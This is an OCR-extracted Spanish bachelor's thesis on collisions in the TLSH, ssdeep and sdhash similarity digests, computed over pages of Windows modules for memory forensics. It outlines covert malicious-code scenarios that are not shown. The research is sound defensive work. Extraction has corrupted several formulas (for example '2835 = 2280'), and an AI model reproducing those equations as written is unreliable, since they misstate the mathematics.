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Resumen

Los algoritmos de similitud aproximada permiten calcular resimenes (hashes) de datos que posibi-
litan detectar similitudes entre ellos. Es decir, obtener dos hashes con una alta similitud quiere decir que
las entradas que han generados estos hashes son similares hasta un cierto grado. Actualmente, se dispone
de una base de datos generada a partir de aplicaciones consideradas legitimas del sistema operativo de
Windows (distintas versiones) para Intel. El objetivo de este trabajo es estudiar las colisiones encontra-
das en esta base de datos al aplicar distintos algoritmos de similitud aproximada, caracterizdndolas para
estudiar la viabilidad de usar los posibles bytes distintos para esconder informacién.

Para ello, se realiza primero un anélisis tedrico de las colisiones. Posteriormente, se lleva a cabo un
andlisis practico utilizando la base de datos, en el que se preparan y procesan los datos para obtener
resultados especificos sobre la incidencia de colisiones al aplicar los algoritmos de similitud aproximada
(concretamente TLSH, ssdeep y sdhash). Ademds, se presentan escenarios de posibles ataques, ilustran-
do cémo se pueden aprovechar las colisiones y variaciones en los hashes para introducir cédigo dafiino
de manera encubierta.

Los resultados obtenidos permiten concluir que los algoritmos hash de similitud aproximada no
deben ser considerados como sustitutos de los algoritmos hash criptogréficos, sino como complementos.
Los primeros son adecuados para comparar una entrada con un patrén malicioso, permitiendo reconocer
y localizar ligeras variaciones en los datos, mientras que los segundos son necesarios para comparaciones
exactas en las que se quiere verificar la integridad. De los tres algoritmos analizados, sdhash es el menos
sensible a modificaciones en los bytes, lo que lo hace mds efectivo para ocultar c6digo dafiino, mientras
que TLSH y ssdeep muestran una mayor robustez frente a modificaciones interesadas.
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Abstract

Similarity Digest Algorithms (SDAs) allow the calculation of data summaries (hashes or digests) that
make it possible to detect similarities between them. In other words, obtaining two hashes with a high
similarity means that the inputs that have generated these hashes are similar to a certain degree. Currently,
we have a database generated from applications considered legitimate for the Windows operating system
(different versions) for Intel. The objective of this Final Degree Project is to study the collisions found
in this database when applying different SDAs, aiming at characterizing them to study the feasibility of
using the possible different bytes to hide information.

To do this, we first perform a theoretical analysis of the collisions. Subsequently, we carry out a
practical analysis using the database, in which the data is prepared and processed to obtain specific
results on the frequency of collisions when applying SDAs (specifically TLSH, ssdeep and sdhash). In
addition, we introduce possible attack scenarios, illustrating how collisions and variations in hashes can
be exploited to covertly introduce malicious code.

The results allow us to conclude that SDAs should not be considered as substitutes for cryptographic
hash algorithms, but rather as complements. The former are suitable for comparing an input with a
malicious pattern, allowing for the recognition and location of slight variations in the data, while the
latter are necessary for exact comparisons in which integrity is to be verified. Of the three algorithms
analyzed, sdhash is the least sensitive to byte modifications, which makes it more effective at hiding
malicious code, while TLSH and ssdeep show greater robustness against intended modifications.
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Capitulo 1

Introduccion

1.1. Motivacion

La motivacién principal de este trabajo radica en la creciente necesidad de mejorar las técnicas de
seguridad y andlisis forense digital en un entorno donde la cantidad y complejidad de los datos estdn en
constante aumento. Con la proliferacién de ciberataques [29] y la sofisticacion de los métodos empleados
en ellos, es de interés desarrollar y perfeccionar herramientas que permitan detectar y analizar patrones
maliciosos de manera eficiente y precisa.

Los algoritmos de similitud aproximada [12] representan una herramienta valiosa en este contexto,
ya que permiten identificar similitudes entre conjuntos de datos que no son idénticos, pero que comparten
caracteristicas comunes. Esta capacidad es particularmente util en el anélisis forense, donde es frecuente
encontrar datos parcialmente alterados o fragmentados que necesitan ser reconocidos y relacionados con
patrones conocidos.

El estudio de colisiones en algoritmos de similitud aproximada se convierte por tanto en una linea
de investigacion relevante debido a su potencial para revelar vulnerabilidades y oportunidades en la de-
teccion de ataques. Comprender como y por qué ocurren estas colisiones puede proporcionar resultados
significativos sobre la robustez de los algoritmos estudiados, asi como su idoneidad para diferentes apli-
caciones de seguridad.

Ademds, el andlisis de colisiones puede abrir nuevas vias para la prevencién de técnicas de ocultacién
de informacién, ya que la existencia de ciertos bytes distintos en determinadas entradas cuyos hashes
colisionan puede ser utilizada para esconder datos (una técnica conocida como esteganografia [8]).

1.2. Objetivos

El objetivo central de este trabajo es investigar y caracterizar las colisiones generadas por distintos
algoritmos de similitud aproximada al aplicarlos a una base de datos compuesta por médulos de diferen-
tes versiones de Windows. Un mddulo [24] representa un ejecutable, DLL o controlador que Windows
ha cargado como parte de un proceso en modo usuario o del nicleo y puede ser especificado por su
direccién base en el espacio de direcciones virtual.

Para alcanzar este objetivo, se propone primero analizar teéricamente las colisiones, realizando un
estudio sobre su naturaleza en algoritmos de similitud aproximada. Esto incluye una revision del proble-
ma del cumpleafios y la probabilidad de colision, con el fin de establecer una base conceptual sélida para
el andlisis préctico.

En lo referente al anélisis practico de las colisiones, se plantea estudiar los algoritmos TLSH, ssdeep
y sdhash. Para ello, serd necesaria la preparacién y el procesamiento de datos previo, asi como la in-
terpretacion de los resultados obtenidos. También se evaluard la robustez de los algoritmos comparados,
determinando cudl de ellos proporciona un rendimiento mds fiable para diferentes aplicaciones, como la
deteccion de patrones de bytes maliciosos o la comprobacién de la integridad.
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En este contexto, se explorardn posibles escenarios de ataque que aprovechen las colisiones y varia-
ciones en los hashes para introducir informacién maliciosa o encubrir datos, incluyendo ejemplos con-
cretos y estrategias mds complejas. Por dltimo, se buscard proponer mejoras y extensiones del trabajo
realizado.

1.3. Estructura del documento

Este documento se estructura en seis capitulos que abarcan desde la presente introduccién hasta la
presentacién de resultados y propuestas de trabajo futuro. En el Capitulo 2, se abordan los conceptos
esenciales para la comprension de este trabajo. En particular, se comienza con una explicacion detallada
de los algoritmos de similitud aproximada (eje central de este estudio), profundizando en las funciones
hash utilizadas en este trabajo: TLSH, ssdeep y sdhash. A continuacioén, se introduce el andlisis foren-
se de memoria y el anélisis de datos en bruto, finalizando con una exposicién sobre el subsistema de
memoria de Windows, incluyendo sus pdginas y procesos, que se empleard como caso de estudio.

El Capitulo 3 trata de forma independiente el andlisis tedrico y el andlisis practico. En el andlisis
tedrico, se explica la probabilidad de colisién de un algoritmo hash en funcién de la longitud de su
resumen mediante el problema del cumpleafios. En el andlisis practico, se describe cémo se ha construido
la base de datos de los médulos empleados en el caso de estudio, la obtencién de colisiones y la extraccion
de péginas, para finalmente presentar los resultados obtenidos.

Por otra parte, en el Capitulo 4, se examina la posibilidad de introducir bytes arbitrarios en una pagina
de datos de tal manera que, al recalcular los hashes, se obtenga una colisién en alguna de las funciones
hash, lo que representaria una vulnerabilidad significativa. Ademas, se presenta un ejemplo sencillo de
ataque y se describe una estrategia para un ataque mds elaborado. A continuacién, el Capitulo 5 ofrece
una revision de diversos estudios relacionados con los algoritmos de similitud aproximada estudiados en
este trabajo.

Finalmente, el Capitulo 6 recoge las conclusiones obtenidas tras la realizacion de este trabajo, asi
como posibles lineas de trabajo futuro que pueden continuar y ampliar el estudio aqui presentado. Adi-
cionalmente, en el Anexo A se describe la dedicacion a este proyecto, aportando una tabla con el desglose
de horas por actividad y un diagrama de Gantt.



Capitulo 2

Conceptos previos

En este capitulo se tratan conceptos necesarios para la correcta comprension de este trabajo. En
primer lugar, se explican los algoritmos hash de similitud aproximada, eje central de este estudio, pre-
fundizando en las funciones hash a utilizar: TLSH [11], ssdeep [45] y sdhash [9]. A continuacidn, se
introduce el andlisis forense de memoria y andlisis de datos en bruto, para acabar exponiendo el siste-
ma de memoria de Windows [15] con sus pdginas y procesos, que serd el empleado en nuestro caso de
estudio.

2.1. Algoritmos hash de similitud aproximada

La identificacién de similitudes puede producirse en tres niveles diferentes de abstraccion [23]: byte
a byte, cuando la comparacion se basa en la secuencia bruta de bytes que forman los objetos digitales;
sintdctica, cuando se utilizan las estructuras internas de los objetos digitales analizados en lugar de
meras secuencias de bytes; o semdntica, cuando la comparacién se basa en atributos contextuales para
interpretar los objetos digitales y estimar su similitud.

Existen algoritmos que pueden comparar entradas directamente (por ejemplo, distancia Levensh-
tein [20] o distancia Hamming [2]), pero también existe otro tipo de algoritmos que convierten primero
la entrada en una representacion intermedia mediante una funcién hash, que luego puede compararse.
Este dltimo tipo de algoritmos son los llamados de hashing difuso o de hashing de similitud aproximada,
y su funcionamiento se describe en el esquema de la Figura 2.1.

funcién hash

Hash 1
Entrada 1
Puntuacion de similitud
funcién hash
@ uncién has Hash 2
Entrada 2

Figura 2.1: Esquema de una comparacién mediante un algoritmo de similitud aproximada.

Una funcidn hash es una funcién matemética determinista de escaso coste computacional que se uti-
liza para convertir una cantidad de datos de cualquier tamafio en un valor inico, denotado habitualmente
como resumen o hash. El propésito general de este tipo de funciones es resumir los datos de entrada en
un objeto que sea mds sencillo de comparar que los propios los datos originales.
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Las funciones hash de similitud aproximada complementan las funciones hash criptogréficas, per-
mitiendo identificar objetos similares en lugar de objetos completamente idénticos. Las funciones hash
criptogréficas estdn disefiadas para verificar la integridad de los datos y cuentan con el llamado efecto
avalancha [17], que se traduce en que si al calcular el resumen de un mensaje y el resumen de ese mismo
mensaje cambiando simplemente un bit, este Gltimo se diferenciard del anterior en aproximadamente la
mitad de sus bits. Por el contrario, los hashes de similitud aproximada permiten identificar similitudes
parciales al producir resimenes similares para entradas similares. Concretamente, estos hashes permiten
no s6lo identificar objetos similares, sino también cudndo un objeto estd contenido en otro.

Las formas de clasificar estos algoritmos se solian basar principalmente en las categorias que los
propios creadores asignan a sus algoritmos. Sin embargo, estas categorias s6lo consideran aspectos es-
pecificos de los algoritmos en lugar de una visién completa sobre su comportamiento, por lo que se ha
optado por tomar la clasificacién propuesta en [23]:

» Feature Sequence Hashing: esta categoria engloba los algoritmos que dividen la entrada en rasgos
y los mapean, midiendo la similitud por secuencias de rasgos.

= Byte Sequence Existence: esta categoria incluye los algoritmos que identifican la existencia (o
similitud) de secuencias de bytes (Ilamadas blogues) en la entrada. La puntuacién de similitud se
calcula comparando el nimero de bloques comunes entre resimenes de similitud.

» Locality-Sensitive Hashing: esta categoria estd formada por algoritmos que mapean objetos en
cubos, agrupando objetos similares en el mismo cubo con alta probabilidad.

En las subsecciones posteriores se van a explicar en detalle los algoritmos empleados en este proyec-
to: TLSH, ssdeep y sdhash.

2.1.1. TLSH

El algoritmo TLSH [11] transforma una entrada de al menos 50 bytes en un hash de 35 bytes y se
encuentra en la categoria de Locality-Sensitive Hashing. Para calcular su resumen se siguen los siguientes
pasos:

1. Procesamiento de la cadena de bytes utilizando una ventana deslizante de tamafio 5 para definir un
vector de recuentos de cubos v.

A los bytes de entrada se les aplica una ventana deslizante de tamafo 5, tomando los posibles
conjuntos de 3 bytes que contienen al primer byte de la ventana, como se muestra en la Figura 2.2.
A cada una de estas tripletas se le aplica una funcién hash determinista basada en el hash de
Pearson [1], y se incrementa en uno la componente de v que indexa dicho resultado.

2. Calculo de los cuartiles.

Se calculan g1, g, g3 tales que:

= El 75% de las componentes de v son mayores o iguales que ¢.
= El 50% de las componentes de v son mayores o iguales que ¢».

= El 25 % de las componentes de v son mayores o iguales que gs3.

3. Construccion de la cabecera del resumen.

Los 3 primeros bytes del hash son su cabecera, denotada en bits como bgb; . ..bs3. El primer byte
es el checksum, que es la suma de comprobacién (médulo 256) de la cadena de bytes. El segundo
byte, llamado Ivalue, es una representacion del logaritmo de la longitud de la cadena de bytes
(moédulo 256). El tercer byte esta formado por dos cantidades de medio byte cada una, llamadas
qi_ratio y gp_ratio, derivadas de los cuartiles y calculadas de la siguiente forma:

q1-100 g2 - 100
q3 q3

q1_ratio = { J (méd 16) g2_ratio = { J (méd 16)
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Tripletas:

evad: [l H H H H H N
venana: [ | [] [] O H
O 0O 0B .
O 0O 0B .
O 0O 0L B =

OO0 0 0 0O O
= O 0O O
B E O8O L]

Figura 2.2: Esquema de la ventana deslizante de TLSH.

4. Construccién del cuerpo del resumen procesando v.

El cuerpo del resumen son los 32 bytes restantes y se calculan de acuerdo a la siguiente férmula,
que da valor a cada pareja de bits de dichos bytes:

00 siv[i—24] < g
01 siv[i—24] <

bibis1 = sivli=24] < g2 (i € {24,25,...,279})
10 siv[i—24] < g3

11 en otro caso

Asi, los bits byb ... by73 corresponden a los 35 bytes del resumen TLSH.

En TLSH, una puntuacién de distancia de 0 representa que los archivos son idénticos (o casi idénticos)
y puntuaciones superiores representan una mayor diferencia entre los documentos. Supéngase que se
quiere medir la distancia entre dos resimenes tX y tY. Cada uno de estos resimenes se interpretard
como una cadena hexadecimal, de la cual se puede extraer el checksum, el lvalue, el q_ratio, el g,_ratio
de sus 6 primeros digitos hexadecimales. La puntuacién de distancia entre los resimenes tX y tY se
define como la suma de la distancias resultantes de aplicar el Algoritmo 1y el Algoritmo 2. Nétese que
mod_diff (X,Y,R) =min(X —Y (méd R), Y —X (méd R)).
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Function distance_headers (tX, tY) | | Function distance_bodies (tX, tY)
int diff=0 2 int diff=0
1diff = mod_diff (tX.lvalue, tY. 3 for i = 1 to 64
lvalue, 256) x1 = tX.hex[i+5] / 4
if 1diff <= 1 5 x2 = tX.hex[i+B] % 4
diff = diff + 1diff 6 yl1 = tY.hex[i+5] / 4
else 7 y2 = tY.hex[i+5] 7% 4
diff = diff + 1diff *x 12 8 di = abs(xl - y1)
qldiff = mod_diff (tX.qlratio, tY 9 d2 = abs(x2 - y2)
.qlratio, 16) 10 if (d1 == 3)
if qldiff <=1 11 diff = diff + 6
diff = diff + qldiff 12 else
else 13 diff = diff + di
diff = diff + (qldiff-1) = 12 14 if (d2 == 3)
q2diff = mod_diff (tX.qg2ratio, tY 15 diff = diff + 6
.q2ratio, 16) 16 else
if q2diff <=1 17 diff = diff + d2
diff = diff + q2diff 18 return(diff)
else
diff = diff + (q2diff-1) = 12
if tX.checksum <> tY.checksum Algoritmo 2: distance_bodies
diff = diff + 1
return (diff)

Algoritmo 1: distance_headers

2.1.2. ssdeep

El algoritmo ssdeep [45] fue ideado por Jesse Kornblum basidndose en el cédigo original de
spamsum [5] y se encuentra en la categoria de Feature Sequence Hashing. Este algoritmo genera un
resumen con una longitud que depende de la entrada (que a su vez debe ser de al menos 4096 bytes),

pero

1.

que tendrd maximo 147 bytes. Para calcular el resumen se siguen los siguientes pasos [27]:

Una ventana con un tamaifio fijo de 7 bytes se desliza por el fichero de entrada para determinar los
puntos de activacion.

Para cada ventana se genera un valor hash £ utilizando una funcién hash rodante inspirada en el
ckecksum Adler32 [14].

Si h=—1 (méd b), donde b denota el tamaifio de bloque esperado, la ventana correspondiente
se considera un punto de activacién, dando lugar a un nuevo segmento. Este paso también se
realiza para el doble del tamafio de bloque (2b), de modo que el algoritmo divide la entrada en dos
segmentaciones diferentes.

Los puntos de activacién determinan los segmentos, que se utilizan como entrada para la funcién
hash FNV [43] de 32 bits.

Para conseguir una representacién comprimida de la entrada y, en consecuencia, una comparacion
rapida del valor hash, para cada valor hash FNV sélo se almacenan los 6 bits menos significativos
como un caracter codificado en base64 [6].

. El valor hash de similitud final consiste en el tamafio del bloque y dos conjuntos de cadenas de

caracteres base64, llamadas firmas.

Dado que ssdeep aspira a un miximo de S = 64 segmentos, el tamafio de bloque inicial esperado se
define mediante la siguiente férmula:

Dinit = Drmiin - 2?%&(%” ’
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con un tamafio de bloque minimo esperado de b, = 3 y una longitud de entrada n. Si el resumen con
un tamafio de bloque actual de b no supera la longitud minima de % = 32 caracteres base64, la entrada
se procesa de nuevo utilizando b = %.

Al comparar dos restimenes, sus respectivos tamafios de bloque deben ser idénticos, ya que el ta-
mafio de bloque influye en la determinacién de los segmentos. Por lo tanto, s6lo se pueden comparar
valores hash ssdeep de archivos de longitud similar. Para ser mas flexible en la comparacién de archi-
vos, la salida es una concatenacién de dos firmas utilizando los tamafios de bloque b y 2b. Asi, para una
comparacién, el otro valor hash debe tener tamafios de bloque de los rangos (2,b), (b,2b) o (2b,4b).

Los archivos que difieren en longitud més de un factor de 4 producen valores hash de similitud que
muy probablemente no son comparables. Si hay dos valores hash comparables, se calcula una distancia
entre las cadenas de caracteres base64 con tamafios de bloque coincidentes utilizando una distancia de
Levenshtein [20] ponderada como la implementada en spamsum [5]. La distancia Levenshtein entre dos
cadenas se define como el nimero minimo de operaciones necesarias para cambiar una cadena por otra.
Aqui, las inserciones y supresiones se ponderan con una distancia de 1, los cambios afiaden una distancia
de 3 y cada intercambio se pondera con una distancia de 5. Por dltimo, la distancia resultante se invierte
y se reescala a un valor entre 0 y 100 para representar el porcentaje de similitud.

2.1.3. sdhash

El algoritmo sdhash [9] genera un resumen con una longitud que depende de la entrada (la cual
debe ser de al menos 512 bytes) y no estd acotada, y se encuentra en la categoria de Feature Sequence
Hashing. Se definen a continuacion los fundamentos de este algoritmo [10].

Sea la secuencia de bytes de entrada ByB; ... By 1. Una caracteristica f; es una subsecuencia de bytes
de longitud / tomada de la entrada comenzando en By, con 0 < k < L —[. Es decir, las caracteristicas para
la entrada propuesta serian:

fo=BoBi...,Bg
fi=B1B;...,Bes

fo-1=BrBr_i41...BL1
Para cada una de estas caracteristicas f, se requieren dos pasos:

1. Se calcula la puntuacién de la entropia de Shannon normalizada Hpom a partir de la entropia

empirica H de f;
255

H=— ;)P(Xi) -log, (P(Xi)),

siendo P(X;) la probabilidad empirica (i.e., la frecuencia relativa) de encontrar el c6digo ASCII i
en fi. A continuacién, H es escalado a un valor entero en el rango [0, 1000] mediante el célculo

{IOOO-HJ
Hnorm = .
log, !

2. Como se indica en [7], se asocia un rango de precedencia (Rprec) a cada valor de la medida de
entropia que es proporcional a la probabilidad de que se encuentre. En otras palabras, la caracterfs-
tica menos probable medida por su puntuacion de entropia obtiene el rango més bajo. El resultado
es una secuencia de valores Rpec.

A continuacién, se identifican las caracteristicas mas populares utilizando una ventana deslizante
Win de tamaiio fijo W = 64 que recorre todos los valores Ryec. En cada posicion, sdhash incrementa la
puntuacion R, de la caracteristica situada mds a la izquierda con el valor Ry mds bajo dentro de Wj,.
En la Figura 2.3 se muestra un ejemplo del célculo de Rpop con W = 8.
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Flprec|882 866 852 834 834 852 866 866|875 882 859 849 872 842 849 877 889 880
Rpop 1
Rprec 882[866 852 834 834 852 866 866 875]882 859 849 872 842 849 877 889 880
anp 2
Ryrec 882 866'852 834 834 852 866 866 875 882]859 849 872 842 849 877 889 880
[ Rocs 3

Figura 2.3: Ejemplo del calculo de Ry, con W = 8 [9].

Sean Rprec(i) y Rpop (i) 1os rangos de precedencia y popularidad de f; respectivamente. En la Figura
2.3 se tiene Rprec(0) = 882, Rprec (1) = 866, y asi sucesivamente. Como Rprec(3) = 834 tiene el Rprec més
bajo a la izquierda dentro de Wiy, Rpop(3) se incrementa y la ventana se desliza. En la segunda iteracion,
Rprec(3) sigue siendo el Rprec mds bajo a la izquierda en Wi, y Rpop(3) se incrementa de nuevo, y asi
sucesivamente. Todas las caracteristicas cuya puntuacion Ry,op sea superior a un umbral determinado (16
en sdhash) son parte de la huella digital. Dendtese a estas caracteristicas Fo, Fi, ..., F),.

Para generar el resumen, la cadena de bytes de cada caracteristica correspondiente Fy, Fi,...,F, se
convierte en hash mediante SHA-1 [4] y el valor hash resultante de 160 bits se divide en cinco subhashes
de 32 bits de longitud. Como los filtros de Bloom de sdhash [9] constan de 256 bytes = 28 bytes = 211
bits, se utilizan 11 bits de cada subhash para establecer el bit correspondiente en el filtro de Bloom.

Para definir la similitud de dos filtros Bloom, se tienen que hacer algunas suposiciones de los bits
minimos y maximos que se solapan por casualidad por lo que Roussev introduce un punto de corte
C [10]. Sea |bf| el nimero de bits establecidos en uno dentro de un filtro Bloom. Si |bf Nbf'| < C, la
puntuacién de similitud es cero. El valor de C se determina calculando

C=uo- (Emax - Emin) + Emin,

donde « se fija en 0,3 para sdhash, Eyj, es el nimero minimo de bits solapados debido al azar y Epax
el nimero méaximo de bits solapados posibles. Asi, Enax se define como

Enax = ml’l’l(‘bf’, |bf/’)

Sea j = 5 el niimero de subhashes, b f la cantidad de caracteristicas dentro de un filtro Bloom, m = 2048
el tamafio de un filtro Bloom en bitsy p =1 — % la probabilidad de que un determinado bit no se ponga
a uno al insertar un bit. Entonces, se tiene que

Enin = m- (1 — pif — pitF 4 pi 67457

es una estimacion de la cantidad de bits comunes esperados puestos a uno en los dos filtros Bloom |bf|,
bf].

Sean SD| = {bfi,bfs,...,dfs} y SD, = {bf{,bf5,...,df/} los resimenes sdhash de dos entradas
tales que s < r. Si bf < 6 0 bf’ < 6 entonces la entrada original no contiene suficientes caracteristicas y
la puntuacién de similitud es —1 (es decir, no comparable). En caso contrario, la puntuacion de similitud
es el valor medio de las mejores coincidencias de una comparacién de todos los filtros Bloom, definida
formalmente como

1

SDscore(SDl 5 SD2) — s

S
,-:Zl IIQ?;VSFSCOW (bd,', bfil)a
siendo SFscore 1a puntuacién de similitud de dos filtros Bloom, que se define como

0, sie<C

100 - 2=¢ en caso contrario
Emaxfc ’

SF:@core (bdh bfl/) = {

cone=|bfNbf|.
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2.2. Analisis forense de memoria y analisis de datos en bruto

Muchos incidentes de seguridad son causados por ataques de codigo dafiino (malware) [22]. Para
gestionarlos, las organizaciones se basan en directrices proporcionadas por CERT y organismos interna-
cionales como NIST [42], CCN-CERT [36] e ISO/IEC [40, 38], entre otros. Estas directrices suelen es-
tructurar la respuesta a incidentes en cuatro etapas bien definidas: I) preparacidn; 11) deteccion y anélisis;
IT) contencidn, erradicacion y recuperacion; y IV) actividad posterior al incidente. Durante la segunda
etapa [34], el andlisis forense de la memoria desempefia un papel fundamental, ya que ayuda a identificar
los indicadores de compromiso (10C, del inglés Indicators of Compromise) relacionados con el malware.

En el andlisis forense de memoria, la evidencia principal es un volcado de memoria, que es una
instantdnea del contenido volatil del sistema supuestamente comprometido tomada en un momento es-
pecifico. Este volcado captura el contenido de la memoria fisica (RAM), incluyendo datos, procesos y
estado del sistema, en el momento de la captura. En la Figura 2.4 se muestran los 5 pasos a seguir para
la extraccion y el andlisis de IoC relacionados con malware en el andlisis forense de memoria.

Preservacién de pruebas
y caracterizacién del SO

.

Analisis de datos brutos

|

Analisis de datos de archivos

N\ J
' i N
Analisis de datos volatiles
- J

.

Andlisis de datos de
programas binarios

Figura 2.4: Metodologia para la extraccién y el andlisis de IoC en el andlisis forense de memoria [34].

La fase de andlisis de datos en bruto consiste en considerar el volcado de memoria como un flujo
de bytes para descubrir posibles IoC. Esto incluye realizar un andlisis de patrones de bytes utilizando
herramientas y técnicas especializadas. Por ejemplo, los escdneres antimalware pueden detectar firmas
de malware conocidas, mientras que las reglas YARA [25] permiten identificar amenazas basandose en
patrones o caracteristicas especificos encontrados en el volcado de memoria.

2.3. Sistema de memoria de Windows, paginas y procesos

Windows implementa un sistema de memoria virtual [ 15] basado en un espacio de direcciones plano
(lineal) que proporciona a cada proceso la ilusién de tener su propio espacio de direcciones grande y pri-
vado. La memoria virtual proporciona una visioén 1égica de la memoria que puede no corresponderse con
su disposicion fisica. En tiempo de ejecucion, el gestor de memoria (con ayuda del hardware) traduce, o
mapea, las direcciones virtuales en direcciones fisicas, donde se almacenan realmente los datos. Al con-
trolar la proteccién y el mapeo, el sistema operativo (SO) puede garantizar que los procesos individuales
no “choquen” entre si ni sobrescriban los datos del SO.

Dado que la mayoria de los sistemas tienen mucha menos memoria fisica que la memoria virtual total
utilizada por los procesos en ejecucion, el gestor de memoria transfiere, o pagina, parte del contenido de
la memoria al disco. La paginacién de datos al disco libera memoria fisica para que pueda ser utilizada
por otros procesos o por el propio SO. Cuando un proceso accede a una direccién virtual que ha sido
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paginada al disco, el gestor de memoria virtual carga la informacién de nuevo en la memoria desde el
disco.

Las aplicaciones no tienen que ser alteradas de ninguna manera para aprovechar la paginacion porque
el soporte de hardware permite al gestor de memoria paginar sin el conocimiento o la asistencia de los
procesos o hilos. La Figura 2.5 muestra dos procesos que utilizan memoria virtual en la que algunas
partes se asignan a la memoria fisica (RAM) mientras que otras se paginan al disco. Ademads, se observa
que los trozos contiguos de memoria virtual pueden ser mapeados a trozos no contiguos de memoria
fisica. Estos trozos se denominan pdginas y tienen un tamafo predeterminado de 4 KB.

Virtual Memory Virtual Memory
Physical Memory

Process A Process B

Figura 2.5: Asignacién de memoria virtual a memoria fisica con paginacion [15].



Capitulo 3

Analisis de colisiones

Este capitulo se divide en dos secciones en las que se tratan de forma independiente el andlisis
tedrico y el andlisis practico. En el andlisis tedrico se explica mediante el problema de cumpleafios la
probabilidad de colisién a priori de un algoritmo hash en funcién de la longitud de su resumen. En el
andlisis prictico, se explica primero como se ha realizado la construccion de la base de datos de los
moédulos empleados en el caso de estudio, la obtencién de colisiones y la extraccién de paginas para,
finalmente, exponer los resultados obtenidos.

3.1. Analisis tedrico: Problema del cumpleaiios y probabilidad de colision

Supoéngase que hay n personas en una sala. ;Cudl es la probabilidad de que dos personas de esa sala
cumplan afios el mismo dia? [3] Para responder esta pregunta, primero se definen los sucesos:

= of = {existen al menos 2 personas en la sala que cumplan afios el mismo dia}
= % = {no existen personas en la sala que cumplan afios el mismo dia}

Se quiere obtener P(.2/), o lo que es lo mismo, 1 — P(#), por lo que se va a calcular P(A).

365 364 365—n+1 365!
P(AB) = —.—... —
() 365 365 365 365" (365 —n)!
Asi,
365! (Tar)\flor) —n(n—1)

P(o/)=1-P(B)=1-

1 — e 2365

3657 (365 —n)!

Se recuerda que encontrar una colisién de una funcién hash .# significa hallar xj,x; : x; # x; tal que
F(x1) = .7 (x2). Sea ahora H el conjunto de restimenes posibles de .# y el suceso

/" = {se tiene al menos una colisién entre los restimenes resultantes de aplicar .# a n elementos cualesquiera},

se tiene que:

—n(n—1) H —n?
Plat') m 1 — e Fi UV

Si ahora se quiere obtener cudntas muestras serian necesarias para encontrar al menos una colision con
cierta probabilidad fijada p, se busca resolver el problema inverso:

2 _n2 o n2

prl—el = 1-—prell < ln(l—p)m2|—H — —n*~2|H|-In(1 - p)

— n~+/=2/H|-In(1 - p)

Nétese que este resultado establece una cota superior para el nimero de muestras necesarias para
encontrar al menos una colision con cierta probabilidad fijada, sin tener en cuenta nada mds alld de la

11
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longitud del resumen. Como para aplicar este resultado es necesario tener al menos una cota superior de
la longitud del resumen, se va a aplicarlo a los casos concretos de las funciones TLSH y ssdeep.

Como se ha visto en la Seccién 2.1.1, los resimenes de TLSH tienen una longitud fija de 35 bytes.
Por lo tanto, en este caso se tiene que |H| = 2835 = 2280 y 1a probabilidad de colisién p en funcién del
nimero de muestras n se muestra en la Figura 3.1.

1.0

Probabilidad de colisién
o o o o (== fe) o o
© » & O & 4 o ©

e
=

e
=}

(=}
—
[}

3 4 5 6 7
Nudmero de muestras x10%

Figura 3.1: Probabilidad de colisién en funcién del nimero de muestras usando TLSH.

En el caso de ssdeep y como se ha comentado en la Seccién 2.1.2, se tiene un resumen con una
longitud variable dependiente de la entrada, pero con un limite maximo de 147 bytes. Por lo tanto, en

este caso se tiene que
147

H| =Y 2%~3,2.10%%.
i=1
Es decir, la cantidad de restimenes posibles es mayor que 10?* veces el niimero estimado de estrellas en
el universo [35] y la probabilidad de colisién p en funcién del nimero de muestras n se muestra en la
Figura 3.2.

Probabilidad de colisién
s © o o o o
(3] [9%) B~ wn [)} ~

o

o
=)

0.0 02 0.4 0.6 0.8 1.0
Numero de muestras x 10134

Figura 3.2: Probabilidad de colisién en funcién del nimero de muestras usando ssdeep.
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3.2. Analisis practico: Médulos Windows

3.2.1. Preparacion de los datos

Base de datos

Se ha partido de una base de datos generada a partir de médulos de distintas versiones de Win-
dows [32]. Esta base de datos contaba con 3 tablas: la tabla os con la informacién de los sistemas opera-
tivos (Tabla 3.1), la tabla modules con la informacién de los médulos (Tabla 3.2) y la tabla pages con la
informacién de las paginas (secuencias de 4096 bytes) dentro de cada médulo (Tabla 3.3).

Campo | Tipo Nulo | Clave | Por defecto | Extra
version | varchar(30) | NO PRI NULL
name varchar(50) | NO PRI NULL

Tabla 3.1: Tabla os de la base de datos inicial.

Campo Tipo Nulo | Clave | Por defecto | Extra

FileVersion varchar(100) NO PRI NULL

OriginalFilename | varchar(100) NO PRI NULL

InternalFilename | varchar(100) NO PRI NULL

ProductName varchar(50) YES NULL

CompanyName varchar(50) YES NULL

LegalCopyright mediumtext YES NULL

Classification varchar(50) YES NULL

Size int(10) unsigned YES NULL

BaseAddress bigint(8) unsigned | YES NULL

version varchar(30) NO PRI NULL

name varchar(50) NO PRI NULL

Tabla 3.2: Tabla modules de la base de datos inicial.

Campo Tipo Nulo | Clave | Por defecto | Extra
id bigint(8) unsigned | NO PRI NULL auto_increment
NumPage int(11) NO | MUL NULL
PreProcessMethod | varchar(10) NO NULL
hashTLSH varchar(75) YES | MUL NULL
hashSSDEEP varchar(150) YES | MUL NULL
hashSDHASH varchar(500) YES | MUL NULL
classification varchar(30) YES NULL
FileVersion varchar(100) NO | MUL NULL
OriginalFilename | varchar(100) NO NULL
InternalFilename varchar(100) NO NULL
osGeneralVersion | varchar(30) NO | MUL NULL
osDetailedVersion | varchar(50) NO NULL

Tabla 3.3: Tabla pages de la base de datos inicial.

Originalmente se disponia de un script de construccidn de la base de datos en esta primera version,
pero se realizé un proceso de normalizacidn sobre la primera version de la base de datos, obteniendo as{
una segunda version. Este proceso implicé varios cambios estructurales que mejoraron la organizacién



14 Capitulo 3. Andlisis de colisiones

y redujeron la redundancia de los datos. No obstante, los cambios se realizaron directamente sobre la
base de datos existente mediante comandos. Como consecuencia, los scripts de construccién originales
no reflejaron estos cambios, manteniéndose desactualizados.

Asi, reconociendo la necesidad de trabajar sobre una base de datos correctamente normalizada, el
primer paso necesario fue actualizar los scripts de construccion para que generaran la segunda version.
Este proceso implicé una revisién detallada de los cambios realizados durante la normalizacién y su
implementacion en los scripts. Las tablas actualizadas de esta version se muestran en la Tabla 3.4, la
Tabla 3.5 y la Tabla 3.6.

Campo | Tipo Nulo | Clave | Por defecto | Extra

id bigint(20) NO PRI NULL auto_increment
name varchar(100) | NO NULL

version | varchar(100) | NO NULL

Tabla 3.4: Tabla os de la segunda versién de la base de datos.

Campo Tipo Nulo | Clave | Por defecto | Extra
id bigint(20) NO PRI NULL auto_increment
file_version varchar(100) NO NULL
original_filename | varchar(100) NO NULL
